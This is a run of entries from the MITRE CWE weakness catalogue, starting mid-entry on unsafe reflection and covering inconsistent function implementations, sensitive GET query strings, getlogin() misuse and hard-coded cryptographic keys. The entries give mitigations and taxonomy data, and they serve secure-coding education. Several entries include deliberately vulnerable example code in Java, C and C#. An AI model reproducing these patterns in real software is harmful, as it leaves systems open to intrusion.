The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

(bad code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

+ Observed Examples
ReferenceDescription
Cryptography API uses unsafe reflection when deserializing a private key
Database system allows attackers to bypass sandbox restrictions by using the Reflection API.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsUnsafe Reflection
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not use reflection to increase accessibility of classes, methods, or fields
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2009-10-29CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Related_Attack_Patterns, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unsafe Reflection
2009-05-27Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 474
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses a function that has inconsistent implementations across operating systems and versions.
+ Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

  • Slight differences in the way parameters are interpreted leading to inconsistent results.
  • Some implementations of the function carry significant security risks.
  • The function might not be defined on all platforms.
  • The function might change which return codes it can provide, or change the meaning of its return codes.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.589Call to Non-ubiquitous API
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Potential Mitigations

Phases: Architecture and Design; Requirements

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInconsistent Implementations
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Inconsistent Implementations

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID: 598
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.
+ Extended Description
The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.
+ Observed Examples
ReferenceDescription
A discussion platform leaks private information in GET requests.
+ Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations, Relationships
2021-07-20CWE Content TeamMITRE
updated Description
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Information Leak Through GET Request
2011-03-29Information Leak Through Query Strings in GET Request
2020-02-24Information Exposure Through Query Strings in GET Request

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID: 558
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.
+ Extended Description
The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.663Use of a Non-reentrant Function in a Concurrent Context
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Access Control
Other

Technical Impact: Modify Application Data; Bypass Protection Mechanism; Other

+ Demonstrative Examples

Example 1

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

(bad code)
Example Language:
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
allow();
} else {
deny();
}
+ Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOften Misused: Authentication
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Misused Authentication: getlogin()

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.259Use of Hard-coded Password
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1291Public Key Re-Use for Signing both Debug and Production Code
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code examples attempt to verify a password using a hard-coded cryptographic key.

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {

printf("Incorrect Password!\n");
return(0);
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
System.out.println("Entering Diagnostic Mode...");
return true;
}
System.out.println("Incorrect Password!");
return false;
(bad code)
Example Language: C# 
int VerifyAdmin(String password) {
if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
Console.WriteLine("Entering Diagnostic Mode...");
return(1);
}
Console.WriteLine("Incorrect Password!");
return(0);
}

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded keys for critical functionality in their OT products.

+ Observed Examples
ReferenceDescription
Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation
Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used by default.
WiFi router service has a hard-coded encryption key, allowing root access
Communications / collaboration product has a hardcoded SSH private key, allowing access to root account
+ Potential Mitigations

Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.
